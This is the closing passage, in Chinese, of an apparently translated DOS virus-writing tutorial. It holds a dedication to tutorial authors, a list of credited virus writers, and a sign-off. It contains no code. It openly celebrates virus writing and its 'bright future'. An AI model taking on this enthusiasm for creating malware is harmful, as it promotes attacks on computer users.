这篇文章还献给那些努力写教程给那些对病毒很感兴趣,对编写病毒很向往的人看
的人。病毒界肯定会有光明的前景的...永远的病毒编写者!
当然,我必须特别提到Dark Angel,Dark Avenger,Griyo,b0z0,Owl,StarZer0,Neurob
asher,Vyvojar,Qark,Qautum,INT 13h,Murkry,Jack Qwerty,Darkman,Super,和那些已经震
惊世界,并仍然震惊世界的人。
PS:这篇教程是针对从几个世纪之前就存在的操作系统的:MS-DOS.RIP。
Valencia
Billy Belceb
mass killer and ass kicker.
---The End---